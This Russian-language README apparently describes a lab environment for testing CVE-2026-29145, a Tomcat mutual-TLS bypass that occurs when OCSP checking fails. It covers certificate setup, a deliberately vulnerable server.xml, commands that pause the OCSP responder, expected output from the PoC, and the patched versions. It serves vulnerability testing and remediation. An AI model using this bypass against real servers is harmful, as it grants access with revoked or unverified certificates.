
Этот репозиторий содержит среду proof-of-concept (PoC), предназначенную для тестирования CVE-2026-29145.
Этот репозиторий содержит среду proof-of-concept (PoC), предназначенную для тестирования CVE-2026-29145.
Уязвимость представляет собой обход аутентификации в реализации Mutual TLS (CLIENT_CERT) Apache Tomcat. Когда OCSP (Online Certificate Status Protocol) настроен с отключённым soft-fail, Tomcat может не рассматривать сбой проверки OCSP как жёсткий отказ. Это позволяет клиенту с потенциально отозванным или непроверенным сертификатом обойти аутентификацию, если OCSP-ответчик недоступен или возвращает ошибку.
| Свойство | Значение |
|---|
| CVE ID | CVE-2026-29145 |
| CVSS Score | 9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Вектор атаки | Сеть |
| Требуемые привилегии | Нет |
| Воздействие | Обход аутентификации |
.ps1Скрипт run_test.sh автоматизирует весь процесс: очистку, генерацию сертификатов и запуск всех тестовых сценариев (уязвимый, успешный и исправленный).
# Переход в каталог проекта
cd CVE-2026-29145-Tester
# Сделать скрипты исполняемыми
chmod +x cleanup.sh setup_certs.sh run_test.sh
# Установка зависимостей Python (если требуются для poc_exploit.py)
pip install -r requirements.txt
# Запуск полного набора тестов
./run_test.sh
На Linux/macOS:
./setup_certs.sh
На Windows (PowerShell):
.\setup_certs.ps1
Что это делает:
http://localhost:8888Ожидаемый вывод:
[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!
docker-compose up -d
Что это делает:
Проверка запущенных контейнеров:
docker-compose ps
python poc_exploit.py
Ожидаемые результаты:
Уязвимая система:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...
Исправленная система:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).
| Сценарий | Статус OCSP | Ожидаемый (исправленный) | Результат (уязвимый) | Примечания |
|---|---|---|---|---|
| Нормальная работа | Онлайн и действителен | 200 OK ✓ | 200 OK ✓ | Проверка OCSP успешна, доступ предоставлен |
| Мягкий сбой | Офлайн/таймаут | 403 Forbidden ✓ | 200 OK ✗ | ОБХОД - OCSP-ответчик недоступен |
| Жёсткий отзыв | Онлайн и отозван | 403 Forbidden ✓ | 403 Forbidden ✓ | Сертификат явно отозван |
| Недействительный сертификат | Недействительная цепочка | 403 Forbidden ✓ | 403 Forbidden ✓ | Проверка цепочки не пройдена |
Тест 1: По умолчанию (сбой OCSP-ответчика)
# Оставить контейнеры запущенными
python poc_exploit.py
Тест 2: Остановка OCSP-ответчика (имитация таймаута)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
Тест 3: Ручное тестирование с помощью curl
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # Этот файл
├── setup_certs.sh # Скрипт генерации сертификатов - Bash (Linux/macOS)
├── setup_certs.ps1 # Скрипт генерации сертификатов - PowerShell (Windows)
├── cleanup.sh # Скрипт очистки и сброса - Bash (Linux/macOS)
├── cleanup.ps1 # Скрипт очистки и сброса - PowerShell (Windows)
├── run_test.sh # Скрипт автоматизированного полного цикла тестирования
├── docker-compose.yml # Оркестрация сервисов Docker
├── requirements.txt # Зависимости Python
├── poc_exploit.py # Основной тестовый скрипт (с логированием и обработкой ошибок)
├── simple_proxy_fail.py # Имитация OCSP-ответчика (с подробным логированием)
├── .gitignore # Правила Git ignore для сертификатов и логов
├── certs/ # Сгенерированные сертификаты (создаются скриптами setup_certs)
│ ├── ca-chain.pem # Сертификат корневого ЦС
│ ├── ca-key.pem # Закрытый ключ корневого ЦС
│ ├── server-cert.pem # Серверный сертификат Tomcat
│ ├── server-key.pem # Закрытый ключ сервера Tomcat
│ ├── client-cert.pem # Тестовый клиентский сертификат
│ └── client-key.pem # Закрытый ключ тестового клиента
├── tomcat/
│ └── server.xml # Уязвимая конфигурация Tomcat
└── logs/ # Журналы Tomcat (создаются во время выполнения)
Файл tomcat/server.xml настраивает:
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
Ключевые настройки:
certificateVerification="required" - Обеспечивает аутентификацию CLIENT_CERTOCSP on - Включает проверку отзыва OCSPИмитация OCSP-ответчика (simple_proxy_fail.py):
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
Причина: Генерация сертификатов не удалась или не была запущена.
# Очистка и повторная генерация
rm -rf certs
./setup_certs.sh
Причина: Контейнер Tomcat не запущен или не готов.
# Проверка статуса контейнера
docker-compose ps
# Проверка журналов
docker-compose logs vulnerable-tomcat
# Убедиться, что оба сервиса запущены и работают
docker-compose up -d
sleep 10 # Ожидание запуска сервисов
Причина: Tomcat запускается слишком долго или проблемы с сетью.
# Проверка журналов запуска Tomcat
docker-compose logs vulnerable-tomcat
# Увеличение таймаута и повторная попытка
timeout 30 docker-compose logs -f vulnerable-tomcat # Мониторинг запуска
Причина: Docker Compose не установлен или не в PATH.
# Установка Docker Compose (если используется отдельная версия)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# Или используйте docker compose (V2, встроенный в Docker Desktop)
docker compose up -d
Причина: Не удаётся проверить сертификат.
# Проверка наличия файлов сертификатов
ls -la certs/
# Проверка действительности сертификата
openssl x509 -in certs/client-cert.pem -noout -text
Причина: Сбой рукопожатия SSL — может указывать на то, что hard-fail работает корректно.
Решение: Это на самом деле положительный признак! Hard-fail предотвращает доступ при сбое OCSP.
# Проверка запущен ли OCSP-ответчик
docker-compose ps ocsp-responder
# Просмотр подробной ошибки
python poc_exploit.py # Уже предоставляет подробное логирование
Причина: Порт 8443 или 8888 уже используется.
# Поиск процесса, использующего порт
lsof -i :8443
lsof -i :8888
# Завершение процесса или использование других портов в docker-compose.yml
# Журналы Tomcat
docker-compose logs -f vulnerable-tomcat
# Журналы OCSP-ответчика
docker-compose logs -f ocsp-responder
# Отладка скрипта Python
python poc_exploit.py # Уже включает подробное логирование
# Открыть терминал и запустить
docker-compose logs -f
# В другом терминале запустить тест
python poc_exploit.py
# Проверка подключения к OCSP-ответчику
curl http://localhost:8888/
# Проверка OCSP-ответчика из контейнера Tomcat
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/
# Проверка рукопожатия SSL
openssl s_client -connect localhost:8443 \
-cert certs/client-cert.pem \
-key certs/client-key.pem \
-CAfile certs/ca-chain.pem
Для удаления всех контейнеров, томов, сертификатов и журналов:
На Linux/macOS:
./cleanup.sh
На Windows (PowerShell):
.\cleanup.ps1
Что это делает:
certs/logs/Проверка очистки:
docker-compose ps # Должно ничего не показывать
ls -la certs/ # Каталог не должен существовать
Этот проект предназначен только для образовательных целей и авторизованного тестирования безопасности.
Для устранения этой уязвимости обновите Apache Tomcat до следующих версий:
| Серия версий | Минимальная исправленная версия |
|---|---|
| 11.0.x | 11.0.20 или новее |
| 10.1.x | 10.1.53 или новее |
| 9.0.x | 9.0.116 или новее |
Шаги обновления:
# Пример: Обновление docker-compose.yml для использования исправленной версии
# Изменить: image: tomcat:10.1.52-jdk17
# На: image: tomcat:10.1.53-jdk17
docker-compose down
docker-compose up -d
По вопросам, проблемам или предложениям, пожалуйста, откройте issue или отправьте pull request.
Последнее обновление: апрель 2026
Статус: Тестирование и документация завершены